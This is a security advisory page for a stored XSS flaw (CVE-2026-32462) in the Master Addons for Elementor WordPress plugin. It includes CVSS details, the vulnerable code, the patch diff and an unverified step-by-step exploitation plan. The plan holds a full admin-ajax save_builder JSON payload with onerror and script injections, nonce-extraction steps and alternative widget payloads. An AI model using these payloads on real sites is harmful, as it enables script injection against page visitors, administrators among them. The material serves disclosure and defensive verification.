CVE-2026-32462

Master Addons For Elementor – Widgets, Extensions, Theme Builder, Popup Builder & Template Kits <= 2.1.3 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.1.4
Patched in
4d
Time to patch

Description

The Master Addons For Elementor – Widgets, Extensions, Theme Builder, Popup Builder & Template Kits plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.3
PublishedMarch 16, 2026
Last updatedMarch 19, 2026
Affected pluginmaster-addons

What Changed in the Fix

Changes introduced in v2.1.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation steps to verify the Stored Cross-Site Scripting (XSS) vulnerability in the Master Addons For Elementor plugin. ### 1. Vulnerability Summary The "Master Addons For Elementor" plugin fails to properly sanitize and escape input in various Elementor widg…

Show full research plan

This plan outlines the research and exploitation steps to verify the Stored Cross-Site Scripting (XSS) vulnerability in the Master Addons For Elementor plugin.

1. Vulnerability Summary

The "Master Addons For Elementor" plugin fails to properly sanitize and escape input in various Elementor widget controls. When a user with Author-level permissions or higher creates or edits a page using the Elementor builder and adds one of the affected widgets (e.g., Cards, Advanced Image, Business Hours), they can inject malicious scripts into text fields. These scripts are then stored in the post's metadata and executed in the context of any user (including Administrators) who views the page.

2. Attack Vector Analysis

  • Vulnerable Endpoints: wp-admin/admin-ajax.php (via Elementor's save_builder action).
  • Vulnerable Parameter: The elements array within the actions parameter of the elementor_ajax call.
  • Authentication Level: Author or above (any user with edit_posts capability for a post they own).
  • Preconditions: Elementor must be active, and the attacker must be able to edit a page/post using the Elementor editor.

3. Code Flow

  1. Input: An Author sends a JSON payload to the elementor_ajax action containing widget settings (e.g., ma_el_card_title for the ma-el-card widget).
  2. Storage: Elementor's backend processing saves this JSON into the _elementor_data post meta for that specific post.
  3. Execution:
    • When the page is rendered, Elementor\Widget_Base::get_settings_for_display() (inherited by the widgets) retrieves the saved settings.
    • The widget's render() function (e.g., in addons/ma-cards/ma-cards.php) accesses these settings: $settings = $this->get_settings_for_display();.
    • The code then echoes the value directly without escaping: echo $settings['ma_el_card_title']; (or similar unescaped output calls).
  4. Sink: The raw HTML/JavaScript is sent to the browser and executed.

4. Nonce Acquisition Strategy

To save Elementor data via HTTP, the elementor_ajax nonce is required.

  1. Preparation: Create a page and assign it to the Author.
  2. Navigation: Open the Elementor editor for that page in the browser: browser_navigate("/wp-admin/post.php?post=[POST_ID]&action=elementor").
  3. Extraction: The nonce is stored in a global JavaScript configuration object. Use browser_eval to extract it:
    • Variable 1: window.elementorConfig?.ajax?.nonce
    • Variable 2: window.elementorCommon?.config?.ajax?.nonce
    • Variable 3: window.elementorEditorConfig?.ajax?.nonce

5. Exploitation Strategy

We will target the Cards widget (ma-el-card) and its ma_el_card_title control.

Step 1: Authenticated Session
Login as a user with the Author role.

Step 2: Nonce Extraction
Navigate to the Elementor editor of a post owned by the Author and extract the elementor_ajax nonce using the strategy above.

Step 3: Inject Payload
Send an HTTP POST request to admin-ajax.php to save the malicious widget configuration.

  • URL: http://[target]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: elementor_ajax
    • _nonce: [EXTRACTED_NONCE]
    • actions: (URL-encoded JSON string below)
{
  "save_builder": {
    "action": "save_builder",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "jltma_sec",
          "elType": "section",
          "elements": [
            {
              "id": "jltma_col",
              "elType": "column",
              "elements": [
                {
                  "id": "jltma_card_exploit",
                  "elType": "widget",
                  "widgetType": "ma-el-card",
                  "settings": {
                    "ma_el_card_title": "<img src=x onerror=alert('XSS_SUCCESS_TITLE')>",
                    "ma_el_card_tag": "<img src=x onerror=alert('XSS_SUCCESS_TAG')>",
                    "ma_el_card_description": "<img src=x onerror=alert('XSS_SUCCESS_DESC')>"
                  }
                }
              ]
            }
          ]
        }
      ]
    }
  }
}

Step 4: Execution
Visit the frontend of the page (/?p=[POST_ID]).

6. Test Data Setup

  1. Create Author User:
    wp user create author_tester author@example.com --role=author --user_pass=password123
  2. Create Page:
    wp post create --post_type=page --post_title="Elementor XSS Test" --post_status=publish --post_author=$(wp user get author_tester --field=ID)
  3. Ensure Elementor Role Manager Permissions: By default, Authors can use Elementor. Ensure no restrictions are set in Elementor > Role Manager.

7. Expected Results

  • The elementor_ajax request should return a 200 OK with a JSON body indicating {"success":true,...}.
  • When viewing the page, a JavaScript alert box should appear with the message XSS_SUCCESS_TITLE.
  • Inspecting the source of the rendered page should show the raw <img src=x onerror=...> inside the ma-el-card-title div.

8. Verification Steps

  • CLI Verification: Check if the payload is stored in post meta.
    wp post meta get [POST_ID] _elementor_data
    (Confirm the JSON contains the onerror payload).
  • DOM Verification: Use browser_eval to check for the presence of the exploit string.
    browser_eval("document.body.innerHTML.includes('XSS_SUCCESS_TITLE')")

9. Alternative Approaches

If the ma-el-card widget is patched or unavailable, use these alternatives:

  • Advanced Image Widget:
    • widgetType: jltma-advanced-image
    • settings: {"ma_el_adv_image_display_ribbon": "yes", "ma_el_adv_image_ribbon_text": "<script>alert(1)</script>"}
  • Search Widget:
    • widgetType: ma-search
    • settings: {"jltma_search_icon_popup_search_text": "<script>alert(1)</script>"}
  • Direct Meta Update (Bypass AJAX):
    If the AJAX nonce extraction fails, manually set the meta as a test to verify the rendering vulnerability:
    wp post meta set [POST_ID] _elementor_data '[JSON_PAYLOAD_HERE]'
    wp post meta set [POST_ID] _elementor_edit_mode active
Research Findings
Static analysis — not yet PoC-verified

Summary

The Master Addons For Elementor plugin is vulnerable to authenticated Stored Cross-Site Scripting (XSS) via several widgets (e.g., Cards, Business Hours, Search) due to insufficient output escaping on user-controlled settings. Attackers with Author-level permissions or higher can inject arbitrary JavaScript into widget fields, which is then executed in the context of any user viewing the affected page.

Vulnerable Code

// addons/ma-business-hours/ma-business-hours.php line 1489
if ($item['ma_el_bh_closed_text']) {
	echo '<span class="closed">' . $this->parse_text_editor($item['ma_el_bh_closed_text']) . '</span>';
}

---

// addons/ma-creative-links/ma-creative-links.php line 758
if ($effect === 'jltma-cl-effect-9') {
	$alt_text = !empty($settings['creative_alternative_link_text']) ? $settings['creative_alternative_link_text'] : $settings['creative_link_text'];
	echo '<span>' . $this->parse_text_editor($alt_text) . '</span>';
}

---

// addons/ma-search/ma-search.php line 820
if ($jltma_search_submit_button) {
	echo '<span>' . $this->parse_text_editor($jltma_search_submit_button) . '</span>';
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.3/addons/ma-advanced-image/ma-advanced-image.php /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.4/addons/ma-advanced-image/ma-advanced-image.php
--- /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.3/addons/ma-advanced-image/ma-advanced-image.php	2026-01-11 12:16:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.4/addons/ma-advanced-image/ma-advanced-image.php	2026-02-28 11:52:04.000000000 +0000
@@ -1719,7 +1719,7 @@
 			if (!empty($image_primary_meta['height'])) {
 				$lightbox_attrs .= 'data-original-height="' . esc_attr($image_primary_meta['height']) . '" ';
 			}
-			$lightbox_attrs     .= 'data-description="' . $this->ma_el_attachment_caption($attach_id) . '"';
+			$lightbox_attrs     .= 'data-description="' . esc_attr($this->ma_el_attachment_caption($attach_id)) . '"';
 		} elseif (!empty($image_html)) {
 			$image_primary = $image_html;
 		}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.3/addons/ma-business-hours/ma-business-hours.php /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.4/addons/ma-business-hours/ma-business-hours.php
--- /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.3/addons/ma-business-hours/ma-business-hours.php	2026-02-15 10:04:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.4/addons/ma-business-hours/ma-business-hours.php	2026-02-28 11:52:04.000000000 +0000
@@ -1486,7 +1486,7 @@
 							<?php
 							} else {
 								if ($item['ma_el_bh_closed_text']) {
-									echo '<span class="closed">' . $this->parse_text_editor($item['ma_el_bh_closed_text']) . '</span>';
+									echo '<span class="closed">' . esc_html($this->parse_text_editor($item['ma_el_bh_closed_text'])) . '</span>';
 								} else {
 									echo '<span class="closed">' . esc_html('Closed', 'master-addons' ) . '</span>';
 								}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.3/addons/ma-creative-links/ma-creative-links.php /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.4/addons/ma-creative-links/ma-creative-links.php
--- /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.3/addons/ma-creative-links/ma-creative-links.php	2026-02-15 10:04:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.4/addons/ma-creative-links/ma-creative-links.php	2026-02-28 11:52:04.000000000 +0000
@@ -755,7 +755,7 @@
 					// Alternative text for effect 9
 					if ($effect === 'jltma-cl-effect-9') {
 						$alt_text = !empty($settings['creative_alternative_link_text']) ? $settings['creative_alternative_link_text'] : $settings['creative_link_text'];
-						echo '<span>' . $this->parse_text_editor($alt_text) . '</span>';
+						echo '<span>' . esc_html($this->parse_text_editor($alt_text)) . '</span>';
 					}
 
 					// Icon After Text
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.3/addons/ma-search/ma-search.php /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.4/addons/ma-search/ma-search.php
--- /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.3/addons/ma-search/ma-search.php	2024-10-02 12:20:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/master-addons/2.1.4/addons/ma-search/ma-search.php	2026-02-28 11:52:04.000000000 +0000
@@ -817,7 +817,7 @@
 
                                 <?php
                                 if ($jltma_search_submit_button) {
-                                    echo '<span>' . $this->parse_text_editor($jltma_search_submit_button) . '</span>';
+                                    echo '<span>' . esc_html($this->parse_text_editor($jltma_search_submit_button)) . '</span>';
                                 } ?>
                             </button>
                         </div>

Exploit Outline

To exploit this vulnerability, an attacker with Author-level access needs to: 1. Log in to the WordPress dashboard and access the Elementor editor for a post or page they are authorized to edit. 2. Extract the `elementor_ajax` nonce from the page source or global JavaScript environment (e.g., `window.elementorConfig.ajax.nonce`). 3. Use a tool like Burp Suite or `curl` to send a POST request to `/wp-admin/admin-ajax.php` with the action `elementor_ajax` and the sub-action `save_builder`. 4. Within the `actions` parameter of the AJAX request, provide a JSON payload representing a layout with a vulnerable Master Addons widget (such as `ma-el-card` or `ma-search`). 5. Inject a malicious JavaScript payload (e.g., `<img src=x onerror=alert(domain)>`) into one of the widget's text settings (e.g., `ma_el_card_title` or `jltma_search_submit_button`). 6. Once saved, any user who visits the published page will have the script executed in their browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.